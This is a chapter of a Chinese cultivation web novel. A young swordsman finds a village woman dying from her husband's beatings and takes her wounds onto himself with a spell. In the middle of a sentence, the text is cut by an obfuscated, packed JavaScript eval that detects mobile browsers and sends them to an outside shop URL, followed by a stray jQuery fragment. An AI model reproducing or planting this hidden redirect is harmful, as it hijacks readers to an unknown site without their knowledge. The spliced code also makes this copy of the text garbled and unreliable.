“叔,我咋觉得他杀了林松还不够,要杀他们全家!”
赵老汉咬咬牙,直接跳到赵虎背上,拐杖一打,把自家侄子当牛一样使唤:“赶紧的,去林松家!”
林松这个人虽然不怎么样,整天游手好闲,不务正业,把地里的活都交给自己媳妇儿干。
眼下林松死了,可他媳妇儿何莲和小石头还在家,难道那小仙师真要去杀人灭口?!
等到这两人赶到时,正巧便撞见叶悬舟从山里出来。
看起来才十七八岁的少年,肩膀上扛着足有成年人腰身那么宽的树,树的主杆光秃秃的,没有侧枝,下半截拖在地上,划拉出一道深深的泥痕。
周围全是看热闹的人,都在低声打赌那少年什么时候才会力竭。
一天天的闲得没事干,半个村的人都挤在别人院子里看热闹,赵老汉在心里骂了两句这群看热闹的。
对上这一言不合便要拔剑杀人的小仙师,他心里也在犯怵,却也不得不硬着头皮迎上去。
眼见那将近八十岁的老人家,胡须雪白,拄着拐杖走路都颤颤巍巍的,就这么迎上了那尊杀神,众人在心中捏了把冷汗。
四目相对的瞬间,赵老汉清清嗓子正准备开口,却见叶悬舟扭头敲响林松家的大门。
“咚咚咚!”
没人应。
叶悬舟静等了片刻,接着敲门。
“咚咚咚!”还是没人应。
竹篱后传来几道围观者的声音。
“我都快半个月没看见莲婶了,她是不是出什么事了?”
“能有啥事?还不是又被林松那个畜生打了!前几天小石头来我们家借米,说是他娘被打得下不来床,为了买药,家里就那么点钱,全花光了……”
“幸好那畜生已经死了,哎,小石头去哪了,咋还不开门?”
一道男声压着嗓子道:“大清早那会儿我就看见小石头一个人背着竹筐上山了,说是要去挖点野菜,这会儿应该在回来的路上了。”
男声一出,原本叽叽喳喳密语的人群顿时噤声。
大石村背靠大山,曾经家家户户都是猎户,祖祖辈辈都守着这座山过活,后来才改成了种地。
这几年虽然不允许村民们再上山打猎了,但真要缺粮少米、饿急眼了,谁家不会偷摸上山里去摸点吃的回来?
都是村里人,大家知道了顶多睁一只眼闭一只眼,只要不往外说,镇上那些人谁会知道?
空气中有一股淡淡的药香混合着血腥味,叶悬舟不动声色地偏了偏头,正准备破门而入时,就见旁边那路都走不稳的老头上去给了木门一脚。
“敲啥敲,没锁门!”老头瞪眼看着周围,“都什么时候了,还躲院子里干嘛呢,快去看看莲花!”
老村长发话,一群看热闹的人从隔壁几间院子里出来,又挤进林松家那个小院子。
没人再管这扛着木头的少年是什么身份了,大家一个接一个从叶悬舟身边经过,院子里挤满了穿着冬衣的人。
叶悬舟傻愣愣地站在门外。
他身旁的老头鬼精鬼精地,人潮拥挤,老头就躲在叶悬舟背后,看着他被人挤过来挤过去。
“哎哟,天杀的,莲花你咋伤得这么重也不说啊!”
屋子里传来一声女高音,随即又是一阵哭天喊地的声音。
赵老汉心里一沉,推开人群挤了进去。
狭窄的小房子里,就放了一张床。窗户紧闭,采光不好,屋里没点灯,暗沉沉的。
床上躺着个瘦巴巴的女子,双眼紧闭,身上盖着一层薄被子,被子上搭了几件男人冬日里穿的衣服。
淡淡的血腥味就是从她身上来的。
门外人声沸腾都没能惊动床上的人。
赵老汉掀开被子一看,出血严重,女子腰身以下几乎泡在了血水里,整个人已经是进气多出气少,伤得这么重,人多半是没救了。
“造孽啊!”赵老汉颤着手盖上被子。
林松就是个浑人,家里的活、地里的活全让何莲和小石头干完了,偏偏家里长辈去得早,没人管得住他。
村里人看不惯,说他两句,他便将气撒在何莲身上,动不动就要打人。
人群里传来低低的啜泣声:“再没人会欺负你了,莲花儿。”
叶悬舟在屋外看着这一切,只觉得事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889845|206563||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
情不该是这样的。他明明已经杀了对她动手的人,为什么还是没能救下她?
一阵哭声中,他的脑海里却是师父失望的眼神和冷冰冰的声音:“把剑挥向比你还弱的人,你以为自己就是英雄了?”
叶悬舟好似悟到一点,失魂落魄道:“想救人,就不能只杀人......”
话音落下的瞬间,他身上的禁制顿时便有了一丝松动。
一道淡白色的灵力迅速穿过人群,落到了床上的女人身上。
置换术!
可置换比自己修为弱的人的伤势。
下半身骤然的疼痛让一贯平静的叶悬舟也忍不住轻哼一声。
上一次使用,他用置换术救了凌月的母亲,对方额头的磕伤立刻便好,肌肤在灵力催动下莹白如玉。
那时他尚且有自身灵力护体,小小的一点磕碰伤,眨眼间便可自愈。
现在使用置换术后,他体内仅余的一丝灵力荡然无存。
疼痛的感觉越来越明显。
“砰!”
叶悬舟肩上的木头滑落在地上,砸出一声巨响。腰身的血很快就渗透了粗布,每走一步便会掉落到地上的泥水里。
叶悬舟一瘸一拐朝着村外走去,田埂上的那间竹屋是他暂时的居所,他现在伤势严重,需要静养一段时间。
截然不同的两个方向,一道瘦弱的人影刚从山里钻出来。
林时的脸上、手背上全是被树枝刮出来的口子。
他为了找药进得太深,竟没注意脚下的泥早就被雨水泡松软了,随便一踩,身子一歪,整个人便狠狠摔到坑里去。
等他好不容易踩着竹筐爬了出来,回到家时,却见自家院子门口围了许多人。
林时脑子里嗡嗡的,这阵仗,和那畜生死的时候一模一样。
隔壁林家二哥看见他,张嘴说了些什么,林时听不见,但他明白了。
“娘!!!”
撕心裂肺的声音惊扰了人群。
人群围了上来,你一言我一语,林时红着眼一句也没听进去,在纷纷乱乱的人群里横冲直撞,嘴里低声道:“我早该杀了他!我早该杀了他!”